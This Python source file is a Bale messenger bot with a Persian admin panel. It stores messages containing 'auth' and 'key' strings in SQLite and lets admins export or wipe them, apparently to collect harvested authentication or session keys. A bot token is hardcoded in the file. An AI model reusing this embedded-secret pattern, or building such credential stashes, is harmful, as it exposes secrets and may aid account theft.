import requests
import time
import sqlite3

TOKEN = "1752482821:PeMDVU8ynQcZevzl-P2QAdd1Ue-WQtr2VDs"
API = f"https://tapi.bale.ai/bot{TOKEN}"

ADMINS = [1345229610]

offset = None
last_sent_id = 0


# ================= DB =================
conn = sqlite3.connect("bot.db", check_same_thread=False)
cur = conn.cursor()

cur.execute("""
CREATE TABLE IF NOT EXISTS data (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    raw TEXT,
    ts INTEGER
)
""")
conn.commit()

# auto fix ts (اگر قبلاً نبود)
cur.execute("PRAGMA table_info(data)")
cols = [c[1] for c in cur.fetchall()]

if "ts" not in cols:
    cur.execute("ALTER TABLE data ADD COLUMN ts INTEGER DEFAULT 0")

conn.commit()


# ================= API =================
def send(chat_id, text, markup=None):
    data = {"chat_id": chat_id, "text": text}
    if markup:
        data["reply_markup"] = markup
    requests.post(API + "/sendMessage", json=data)


def edit(chat_id, message_id, text, markup=None):
    data = {
        "chat_id": chat_id,
        "message_id": message_id,
        "text": text
    }
    if markup:
        data["reply_markup"] = markup
    requests.post(API + "/editMessageText", json=data)


def get_updates(offset=None):
    url = API + "/getUpdates"
    if offset:
        url += f"?offset={offset}"
    return requests.get(url, timeout=30).json()


# ================= SAVE =================
def save(raw):
    cur.execute(
        "INSERT INTO data (raw, ts) VALUES (?, ?)",
        (raw, int(time.time()))
    )
    conn.commit()


# ================= FILTER =================
def is_valid(text):
    return isinstance(text, str) and "'auth'" in text and "'key'" in text


# ================= DATA =================
def get_all():
    cur.execute("SELECT raw FROM data")
    return [x[0] for x in cur.fetchall()]


def get_new():
    cur.execute("SELECT raw FROM data WHERE id > ?", (last_sent_id,))
    return [x[0] for x in cur.fetchall()]


def count():
    cur.execute("SELECT COUNT(*) FROM data")
    return cur.fetchone()[0]


def update_last_sent():
    global last_sent_id
    cur.execute("SELECT MAX(id) FROM data")
    last_sent_id = cur.fetchone()[0] or 0


# ================= 24H =================
def last_24h():
    t = int(time.time()) - 86400
    cur.execute("SELECT * FROM data WHERE ts >= ?", (t,))
    return cur.fetchall()


def sent_24h():
    t = int(time.time()) - 86400
    cur.execute("SELECT * FROM data WHERE ts >= ? AND id <= ?", (t, last_sent_id))
    return cur.fetchall()


def unsent_24h():
    t = int(time.time()) - 86400
    cur.execute("SELECT * FROM data WHERE ts >= ? AND id > ?", (t, last_sent_id))
    return cur.fetchall()


# ================= CLEAR ALL =================
def clear_all():
    global last_sent_id
    cur.execute("DELETE FROM data")
    conn.commit()
    last_sent_id = 0


# ================= PANEL =================
def main_panel():
    return {
        "inline_keyboard": [
            [{"text": "📁 فایل‌ها", "callback_data": "files"}],
            [{"text": "📊 آمار 24h", "callback_data": "stats"}],
        ]
    }


def files_panel():
    return {
        "inline_keyboard": [
            [{"text": "📦 همه فایل‌ها", "callback_data": "all"}],
            [{"text": "🆕 فایل جدید", "callback_data": "new"}],
            [{"text": "🧹 پاکسازی کل دیتا", "callback_data": "clear"}],
            [{"text": "🔙 برگشت", "callback_data": "back"}],
        ]
    }


# ================= FILE =================
def send_file(chat_id, name, data_list):
    filename = f"{name}.txt"

    with open(filename, "w", encoding="utf-8") as f:
        for i in data_list:
            f.write(i + "\n")

    with open(filename, "rb") as f:
        requests.post(
            API + "/sendDocument",
            data={"chat_id": chat_id},
            files={"document": f}
        )


# ================= START =================
print("BOT STARTED")

while True:

    try:
        res = get_updates(offset)

        for u in res.get("result", []):

            offset = u["update_id"] + 1

            # ================= CALLBACK =================
            if "callback_query" in u:

                cb = u["callback_query"]
                d = cb["data"]

                chat_id = cb["message"]["chat"]["id"]
                msg_id = cb["message"]["message_id"]
                user_id = cb["from"]["id"]

                if user_id not in ADMINS:
                    continue

                # 🔙 BACK
                if d == "back":
                    edit(chat_id, msg_id, "📱 پنل اصلی", main_panel())

                elif d == "files":
                    edit(chat_id, msg_id, "📁 فایل‌ها", files_panel())

                elif d == "stats":

                    t24 = len(last_24h())
                    sent = len(sent_24h())
                    unsent = len(unsent_24h())

                    text = (
                        f"📊 آمار 24 ساعت اخیر:\n\n"
                        f"📦 کل: {t24}\n"
                        f"📤 فایل گرفته: {sent}\n"
                        f"🆕 فایل نگرفته: {unsent}\n"
                        f"📁 کل دیتا: {count()}"
                    )

                    edit(chat_id, msg_id, text, main_panel())

                # 📦 ALL
                elif d == "all":
                    send_file(chat_id, "ALL", get_all())

                # 🆕 NEW
                elif d == "new":
                    send_file(chat_id, "NEW", get_new())
                    update_last_sent()

                # 🧹 CLEAR ALL
                elif d == "clear":
                    clear_all()
                    edit(chat_id, msg_id, "🧹 همه دیتا پاک شد", main_panel())

            # ================= MESSAGE =================
            msg = u.get("message", {})
            text = msg.get("text")
            chat_id = msg.get("chat", {}).get("id")
            user_id = msg.get("from", {}).get("id")

            if not text or not chat_id:
                continue

            if user_id not in ADMINS:
                continue

            if text.strip() == "پنل":
                send(chat_id, "📱 پنل مدیریت", main_panel())

            # ================= SAVE ONLY AUTH =================
            if is_valid(text):
                save(text)
                print("SAVED")

    except Exception as e:
        print("ERROR:", e)

    time.sleep(2)